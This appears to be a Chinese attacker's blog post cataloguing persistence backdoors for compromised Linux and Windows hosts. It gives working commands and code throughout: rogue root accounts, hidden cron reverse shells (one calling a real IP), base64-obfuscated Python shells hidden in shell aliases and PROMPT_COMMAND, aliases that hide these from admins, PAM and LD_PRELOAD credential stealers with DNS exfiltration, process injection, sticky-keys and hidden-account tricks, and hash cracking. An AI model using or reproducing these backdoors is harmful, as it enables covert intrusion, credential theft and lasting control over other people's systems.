Linux权限维持
增加超级用户
增加无密码的超级用户
1
echo "HackerQWQ:x:0:0::/:/bin/sh" >> /etc/passwd
增加有密码的超级用户
生成密码
1
2openssl passwd -6 -salt hub HackerQWQ
# $6$hub$vRlpOJ/sXn8wYsP9FzjYyKt284QTJUmTI56MlQ6/9NIY/aXgy1MvB1elpoHEeApGpobTqgvt8c1FCfJuoULqa0写入进/etc/passwd
1
echo "HackerQWQ:\$6\$hub\$vRlpOJ/sXn8wYsP9FzjYyKt284QTJUmTI56MlQ6/9NIY/aXgy1MvB1elpoHEeApGpobTqgvt8c1FCfJuoULqa0:0:0::/:/bin/bash" >> /etc/passwd
一句话添加超级用户
1
2
3
4
5# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
- 无回显添加用户
1 | useradd -u 0 -o -g root -G roo1 |
无回显修改密码
1
2
3
4echo "123456" | passwd --stdin roo1 # passwd --stdin表示从标准输入输入密码,有时不成功
echo "roo1:password" |chpasswd
# 修改roo1用户密码为password
echo "123456n123456" |(sudo passwd roo1)
破解
获得shadow文件后,用John the Ripper
工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcat
GPU、或者分布式服务器来进行破解
对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
john the Ripper
工具官网:https://www.openwall.com/john/
安装步骤
1 | cd /opt |
当出现No password hashes loaded
问题的时候将最后一步修改为
1 | make clean linux-x86-64 |
用法:
1 | unshadow passwd.txt shadow.txt > unshadowed.txt |
hashcat
需要将hash提取出来放在文件中解密
1 | hashcat -m 1800 -a 0 -o found2.txt crack2.hash 500_passwords.txt --show |
放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
1 | cp /bin/bash /dev/.rootshell |
普通用户使用以下命令即可获得root权限的shell
1 | /dev/.rootshell -p //绕过bash2的限制 |
可以将端口修改成其常见的端口
我们可以修改/etc/services文件,加入以下的东西:
1 | woot 6666/tcp #evil backdoor service |
然后修改/etc/inetd.conf :
1 | woot stream tcp nowait root /bin/bash bash -i |
Crontab后门
crontab安装
1
2
3
4#CentOS
yum install crontabs
#Ubuntu
apt-get install cron开启crontab服务
1
2
3
4#CentOS
service crond start
#Ubuntu
service cron start
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
输入crontab -e
即可为当前用户创建计划任务
-e 打开编辑器编辑
export VISUAL=vim; crontab -e //指定编辑器编辑
将export VISUAL=vim写入.bashrc也可以
-u 指定用户编辑
crontab cron.sh//无编辑器写入计划任务(cron.sh的语法同/etc/crontab一致)
- crontab -l查看计划任务
正常计划任务
1
2
3
4
5
6#/tmp/reverse.sh内容
bash -c 'exec bash -i &>/dev/tcp/101.35.156.126/6666 <&1'
chmod +x /tmp/reverse.sh
#编写计划任务
crontab -e
*/1 * * * * /tmp/reverse.sh隐藏计划任务
执行如下命令即可创建crontab后门
1 | (crontab -l;printf "*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - |
- 能隐藏计划任务,Ubuntu不成功,CentOS成功
即使管理员crontab -l
也看不到计划任务
原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。
这里用python制作一个隐藏的sh。
1 | cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏cmd_v = "echo 'You see me!'" # 显示 |
可以使用cat -A
查看计划任务
1 | cat -A /var/spool/cron/crontabs/root |
服务后门
通过将脚本注册为系统自启动服务,在系统启动时,触发后门
写入/etc/rc.d
编写sh脚本
1 | #!/bin/bash |
第一行,告诉系统使用的shell,所以的shell脚本都是这样。
第二行,chkconfig后面有三个参数2345,80和90告诉chkconfig程序,需要在rc2.d~rc5.d目录下,创建名字为 S80auto_run的文件连接,连接到/etc/rc.d/init.d目录下的的auto_run脚本。
第一个字符是S,系统在启动的时候,运行脚本auto_run,就会添加一个start参数,告诉脚本,现在是启动模式。同时在rc0.d和rc6.d目录下,创建名字为K90auto_run的文件连接,
第一个字符为K,系统在关闭系统的时候,会运行auto_run,添加一个stop,告诉脚本,现在是关闭模式。
注意上面的三行中,第二,第三行是必须的,否则在运行chkconfig –add evil.sh 时,会报错。
放入自启动目录
1 | /etc/rc.d/init.d/evil.sh |
设置脚本开启启动
1 | chkconfig --add /etc/rc.d/init.d/evil.sh |
通过以下命令查看是否注册成功
1 | chkconfig |
写入/etc/rc.local
vim /etc/rc.local
1 | sh /tmp/evil.sh |
ssh 公钥免密
(容易被发现)
1 | ssh-keygen -t rsa |
把id_rsa.pub
写入服务端的authorized_keys
中
1 | echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDeGhJQWxRVUl1QUVkRkExOVNWUVVNN3hzWUlucE81U2hYYnAxZWVVK0EyLzNBUlpFY2RtMUlUZXE0cjl5c2d1Y09kbWJDRVo3QVhRWHFIS1hvaVZoM21BZHZqT1Frajc5dUxPbHdhbG9JTTc2YTR3QzZVVGJzQ2pHREFVQWY1bGFPWWxuVUh4alZmK0JWMks1NmQ1eWw3aHJzZ0pHTDRUVVpieGJVTmlZL3ltbGdNQUhyZ0xQdDJ0QXBVSzZ2NlUrUnRyaGZHeWVyVmFOMDZSWDNGN0N3eWpUZmw4aDJtQlJXazN6bFh3eVpJaDAwSXpnS2tsY3JISnZNK0piWkpxbnIvWkFUR1JWelQ5VFo4am0rcmNrU0JqZkRMbHhySHprUjhadHZlNHgreDNuUFZuMi9XL0pVZ2pNSmxaVjI1S1EzWE5RWC9YcU13VTJEZmE2NHFINkNWbUdqakcvTDFOcG9MYW5VZXBsMEN2OHd3NWo4eWxXeElwZW5XQ0dNT0VwdjhKWU9uRHk2czNWRlZJTXltZ0xqLzVESFg5dktaZXY2cWlpQncyVHZraXBzM2RwT29zNFVUTjhBVjNyNmVqcSt6Um5tUTdyZVJiZjhDaWxPZlc5QzRiNHVtUWNBZ3NLRVRLQ0luZ1JOb1NiNVdyRElFUkIyckNaSEZKNUJOaDA9IHJvb3RAa2FsaQo="|base64 -d >> /root/.ssh/authorized_keys |
alias 后门
写入当前用户目录下.bashrc
- 抓取管理员在肉鸡ssh其他机器的明文密码
1 | alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh' |
后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。
- 监听本地ssh流量(有ssh连接进入则记录)
1 | ps -ef | grep sshd #ssh父进程sshd的PID |
修改常用命令隐藏后门
在/etc/bashrc中加入如下代码
1
2
3
4# System global API definition
if [ -f /tmp/.bash_resource ]; then
. /tmp/.bash_resource
fi将下面内容写入
/tmp/.bash_resource
1
2
3
4
5
6
7alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'
//可不加
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
//可不加
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'成功收到shell
可以使用命令修改时间戳增强隐蔽性
1
2
3
4//将index.php的时间戳克隆给webshell.php
touch -r index.php webshell.php
//直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php添加function后门
在/etc/profile中添加function修改已有命令
1
function su { echo ”my function su”; }
PATH后门
简介:通过$PATH
环境变量中二进制文件的查找顺序,将原文件替换为恶意文件,从而达到留后门的效果
条件:调用的是非shell集成命令,即外部程序
查看命令归属
1 | whereis ls |
查看PATH
1 | echo $PATH |
那么命令的查找顺序应该为
1 | /usr/local/sbin->/usr/local/bin->/usr/sbin->/usr/bin->/root/bin |
此时将恶意程序放置在/usr/local/sbin
中即可
1 | cp /bin/ping /usr/local/sbin/ls |
PAM后门
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于**/etc/pam.d**),最后调用认证文件(位于**/lib/security**)进行安全认证。
SSH认证流程
- 第一阶段:验证阶段
- 1)经过pam_securetty.so判断,看用户是什么,如果是root,读取**/etc/securetty**的配置
- 2)经过pam_env.so配置额外的环境变量
- 3)透过pam_unix.so验证口令
- 4)3验证不通过则pam_deny.so判断UID是不是大于500.小于500则返回失败
- 5)由pam_deny.so拒绝连接
- 第二阶段:授权阶段
- 1)先以pam_nologin.so判断/etc/nologin是否存在,若存在则不许一般使用者登陆;
- 2)以pam_unix进行账号管理,
- 3)pam_succeed_if.so判断UID是否小于500,若小于500则不记录登录信息。
- 4)最后以pam_permit.so允许该账号登陆。
- 第三阶段:口令阶段
- 1)先以pam_cracklib.so配置口令仅能尝试错误3次;
- 2)接下来以pam_unix.so透过md5,shadow等功能进行口令检验,若通过则回报login程,若不通过则以pam_deny.so拒绝登陆。
PAM后门实现:
- PAM后门可以通过修改pam_unix.so来记录root密码,或者当输入我们的密码时,校验通过,从而达到后门的目的。
本地记录账号及任意密码后门
首先查询目标机器的pam版本
1 | rpm -qa | grep pam |
到官方github下载源码,修改pam_unix_auth.c文件,修改179行代码
1 | /* verify the password of this user */ |
安装环境
1 | yum install gettext-devel |
编译
1 | ./configure --disable-docs |
通过本地ssh使用qing!@#123
登录成功
查看/bin/.sshlog
,存在密码
pam_unix.so位置
1 | #x64 |
dnslog外带
参考链接:https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
将以dns外带代码复制到pam_unix_auth.c中时,需要修改dns和dnslog的地址
1 | #strcpy(dns_servers[0] , "127.0.0.1"); |
添加dnslog外带代码
1 | retval = _unix_verify_password(pamh, name, p, ctrl); |
编译,替换pam_unix.so文件,关闭selinux
成功获取到账号密码
LD_PRELOAD进行动态挂载
优点:
- 不用修改文件,防止文件完整性校验(rpm)
原理:
我们的目标函数是pam_get_item。当使用项目类型 PAM_AUTHTOK 作为参数调用此函数时,它会检索使用的身份验证令牌。我们要挂钩这个函数,所以当它被调用时,我们将调用 pam_get_user() 来检索用户名,然后调用原始的 pam_get_item(获取正确的返回值和身份验证令牌),通过 DNS 将其泄露,最后返回之前得到的值。十分简单!
准备文件share.c
1 | /* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */ |
记得修改dnslog地址和dns server地址,编译成共享库so文件
1 | gcc -shared -fPIC -Iinclude share.c -o hackerqwq.so |
-I
指定头文件位置
加载LD_PRELOAD
1 | #关闭原有sshd |
可以配合修改.bash_rc
等文件实现持久性控制
一键留后门
项目地址:https://github.com/zephrax/linux-pam-backdoor
实现环境:
Tested with ubuntu 20.04:
- 1.1.8 and older: failed to compile
- 1.2.0: worked
- 1.3.0 to 1.4.0: worked
命令:
1 | ./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd |
更多用法
https://xz.aliyun.com/t/7902#toc-8
openssh后门
前提:ssh版本低于5.9
1
ssh -V//查看ssh版本
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspx
1 | wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz |
vi includes.h //修改后门密码,记录文件位置,
1 | /* |
配置环境
1 | yum install -y openssl openssl-devel pam-devel |
Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
SSH后门
1 | ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31326 |
执行完之后,任何一台机器ssh root@IP -p 31326
,输入的密码随意
- 需要的时间有点长,需要等待
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登录如下:
1 | ssh root@xxx.xxx.xxx.xxx -p 12345 |
注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root
上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:
1 | echo " |
之后再开启端口监听,用于登录
1 | ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=12345 |
当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d 目录下存在。在/etc/pam.d目录下执行:
1 | find ./ |xargs grep "pam_rootok" |
出现如下内容,则说明以下的名字皆可以作为软连接名称
./config-util:auth sufficient pam_rootok.so
./chfn:auth sufficient pam_rootok.so
./chsh:auth sufficient pam_rootok.so
./runuser:auth sufficient pam_rootok.so
./su:auth sufficient pam_rootok.so
./xxxxxx:auth sufficient pam_rootok.so
1 | ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333 |
登录方式同上
SSH wrapper后门
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。
1 | cd /usr/sbin/ |
攻击机连接:socat STDIO TCP4:172.17.0.2:22,sourceport=13377
端口不可随意修改
socat官网:
http://www.dest-unreach.org/socat/
安装命令
1
2
3
4
5
6wget http://www.dest-unreach.org/socat/download/socat-1.7.4.3.tar.gz
tar -zxvf socat-1.7.4.3.tar.gz
cd socat-1.7.4.3.tar
./configure&&make&&make install
或者
apt install socat
检测:
1 | ls -al /usr/sbin/sshd |
解决:
1 | rm -rf /usr/sbin/sshd |
利用系统服务程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan
程序替换in.telnetd、in.rexecd
等 inted的服务程序重定向login程序
TCP/UDP/ICMP Shell
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉.但是对于UDP(DNS、ICMP)相关流量通常不会拦截.
主要原理就是利用ICMP中可控的data字段进行数据传输
Github上的协议后门利用
1 | https://github.com/andreafabrizi/prism |
Inf0查看配置参数
- 配置回连主机、端口以及密钥防止第三方连接
- 然后需要在肉鸡上编译后门
这里使用DDETACH选项
1 | gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c |
- 攻击机准备连接
1 | nc -l -p 6666 |
- 注意:在重启机器之后失效
共享库文件(so)
在共享库中嵌入后门函数,使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的 校验
在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件**/etc/ld.so.preload**,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.
参考
https://www.freebuf.com/column/162604.html
动态库链接顺序:
1 | LD_PRELOAD --> LD_LIBRARY_PATH --> /lib --> /usr/lib |
LD_PRELOAD实验
首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用
编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.
实践:
1 | //jaky.c |
1 | //jakylib.c |
将环境变量LD_PRELOAD
修改为jakylib.so供jaky程序调用
1 | # 全局加载 |
查看结果:
成功劫持
LD_PRELOAD实战
思路:
- 寻找动态链接的函数
- 覆盖这个函数,并且在内部重写
- 先把原函数指针赋值给一个变量
- 执行我们的代码
- 执行原函数
- 正常返回值
这里选用whoami进行演示
1 | ltrace whoami |
准备payload.c
1 |
|
python代码如下:
1 | import os,socket,subprocess; |
编译共享库so
1 | gcc -shared -fPIC -o payload.so -D_GNU_SOURCE -ldl payload.c |
执行命令
1 | whoami |
隐藏后门
显示环境变量的命令主要有以下几种
- echo $LD_PRELOAD
- env
- set
- export
- cat /proc/$PID/environ
主要采用alias的方式隐藏
1
2
3
4
5
6
7
8
9
10
11
12//隐藏echo
alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func'
//隐藏env
alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func'
//隐藏set
alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func'
//隐藏export
alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'
//劫持unalias
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
//劫持alias
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'将其写在以下任意文件即可
1
2
3
4
5
6/etc/profile
/etc/bashrc
~/.bashrc
~/.bash_profile
~/.bash_login
~/.bash_logout- 也可以根据alias后门中的方法一样,卸载配置文件中引用的其他配置文件中,增强隐蔽性。
终极后门
修改setlocale函数进行Hook
1 |
|
用法
1 | 修改反弹shell配置 |
触发
1 | whoami |
具体原理看:权限维持之LD_PRELOAD动态链接库后门这篇文章
可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
守护进程的PID是1747
ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接
使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
Git hooks
- 原是XTERM反弹Shell
首先在本地监听TCP协议443端口
1 | nc -lvp 443 |
然后在靶机上执行如下命令:
1 | xterm -display 10.10.10.11:1 |
老外将xterm与Git结合
1 | echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit` |
当更新git的时候会触发:
1 | git commit -am "Test" |
PROMPT_COMMAND后门
前提:
- 需要安装python2环境
- Linux环境
bash提供了一个环境变量PROMPT_COMMAND
,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
1 | export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log' |
但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:
1 | import socket,os,sys |
一段简单的python socks监听命令
NC连接nc 192.168.1.174 1025
PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
1 | export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND" |
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his
记录保存为录像scriptreplay demo.time demo.his
播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像
1 | vi ~/.profile |
Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
1 | echo 'WWW ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers |
授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...
更详细文章参考:
https://segmentfault.com/a/1190000007394449
TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
这里利用ssh触发TCP_Wrappers
肉鸡写入TCP_Wrappers后门
1 | echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/"%a"/443 0>&1") & :allow'>/etc/hosts.allow |
攻击机监听连接
1 | nc -lnvvp 443 |
攻击机发起ssh请求,触发TCP_Wrappers规则,反弹shell
1 | ssh root@<victim IP> |
nmap nse后门
很多linux系统中默认都安装了nmap
1 | mkdir -p ~/.nmap/scripts/ |
base64解密
1 | echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab - |
解密
1 | import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']); |
进程注入
使用ptrace向已运行进程中注入.so并执行相关函数,其中的“注入”二字的真正含义为:此.so被link到已运行 进程空间中,从而.so中的函数在目标进程空间中有对应的地址,然后通过此地址便可在目标进程中进行调用。
方法
1、在目标进程中找到存放“加载.so的实现代码“的空间(通过mmap实现)
2、把“加载.so的实现代码“写入目标进程指定的空间
3、启动执行
linux-inject实验
项目地址:https://github.com/gaffe23/linux-inject
编译:
1 | # arm |
由于很多Linux发行版不允许从一个进程pstrace另一个进程,所以可能需要暂时关闭该限制
1 | echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope |
进程注入
1 | # -p选择pid注入,-n选择进程名注入 |
注入成功
pmap查看进程已经加载了so文件
这个项目使用的是__attribute__((constructor)
执行c代码
注入tomcat也是完全ok的
究极后门之定时反弹shell
根据项目linux-inject的sample-library.c为模板,加入LD_PRELOAD的终极后门配方,熬制而成,先看reverse.c(动态链接库)
1 |
|
- 第一个fork()创建子进程,用于执行注入进程之外的c代码
- 然后通过while循环,每隔10秒,创建一个子进程,注册SIGTERM信号处理器,当exit时能够完全退出,不至于子进程越来越多,然后就是常规的反弹shell代码。
signal(SIGCHLD,SIG_IGN)
忽略信号直接kill子进程,防止僵尸进程
编译运行
1 | # 编译reverse.c为reverse.sp动态链接库 |
成功反弹shell
目标系统的进程也十分清爽,保持只有一个真正的反弹shell子进程
注入tomcat也是可以的
1 | ./inject -p 30808 reverse.so |
cymothoa进程注入后门
1 | wget https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/cymothoa-1-beta.tar.gz/download |
- -p参数:用来指定需要注入的进程的 pid
- -s参数:用来指定使用shellcode 的序号
- -y参数:用来指定反向 shell 的端口,即别人连接自己时需要连接的端口。
./cymothoa -p 1014 -s 0 -y 8888
- 尽量选用系统的进程,否则重启之后就失效
https://github.com/jorik041/cymothoa
JadedWraith后门
项目地址:https://github.com/phath0m/JadedWraith
在肉鸡上编译:
1 | $ ./configure.sh |
安装pip依赖
1 | apt-get update |
配置JadedWraith
1 | $ ./conf_jawr |
在configred启动后门
1 | chmod +x JadedWraith-2.1.0-Linux-x86_64.1642995235.bin |
客户端连接:
1 | python3 wraith-client.py 172.17.0.4 -k ad11c8e24fac03185532191f97bb592b -P XTJHALaqf5jwty8x0Y6f94LlmVbuOG7XxaAyjei0wlBQvBwi |
Windows权限维持
破解
LM
从 Windows Vista/Server 2008 开始,LM 默认关闭,可以从 Windows 系统上的 SAM 数据库或域控制器上的 NTDS 数据库中获取LMHash。
例子:
1 | 299BD128C1101FD6 |
破解:
1 | john --format=lm hash.txt |
NTLM
这是密码在现代 Windows 系统上的存储方式,可以通过转储 SAM 数据库或使用 Mimikatz 来获取。它们也存储在 NTDS 文件中的域控制器上
例子:
1 | B4B9B02E6F09A9BD760F388B67351E2B |
破解:
1 | john --format=nt hash.txt |
NTLMv1
NTLM 协议在服务器和客户端之间的质询/响应中使用 NTHash。版本 1 已弃用,但仍可能在网络上的某些旧系统中使用。
例子:
1 | u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c |
破解
1 | john --format=netntlm hash.txt |
NTLMv2
这是 NTLM 协议的新改进版本,这使得它更难破解。概念与 NTLMv1 相同,只是发送到服务器的算法和响应不同。也通过 Responder 或类似方式捕获。自 Windows 2000 以来在 Windows 中的默认设置。
例子:
1 | admin :: n46 isnekpt:08ca45b7d7ae58ee |
破解
1 | john --format=netntlmv2 hash.txt |
在线网站碰撞
https://www.objectif-securite.ch/ophcrack
该网站可以在线破解ntlm hash
影子账户
1.使用如下命令创建隐藏用户并加入管理员组
1 | net user test$ 123456 /add |
创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
通过win+R,mmc打开控制台,文件-添加/删除管理单元-添加本地用户和组,可以看到隐藏用户test$
2.打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM),regedit
修改SAM权限,赋予adminitrators完全控制权限。
3.重新打开regedit,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。
通过Names下的用户名的类型的值来查找对应的用户
例如:这里的administrator对应的类型是0x1f4,则Users下对应的是000001F4
复制F值
4.将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
5.删除test$用户,将test.reg和1.reg导入注册表
1 | net user test$ /del |
6.此时在用户组已经看不到test$用户,只能在注册表中能看到。
粘滞键后门
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。
演示:
粘滞键位置:c:\windows\system32\sethc.exe
1 | 命令:move sethc.exe sethc1.execopy cmd.exe sethc.exe |
此时连按五次shift键即可启动cmd,而且不需要登录就可以执行。
logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
演示:
注册表位置:HKEY_CURRENT_USER\Environment
1 | REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe" #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径 |
重启,cmd.exe成功运行,可以将cmd.exe替换为cs木马上线,但是对于内存查杀的卡巴斯基,作用还是不大。
映像劫持
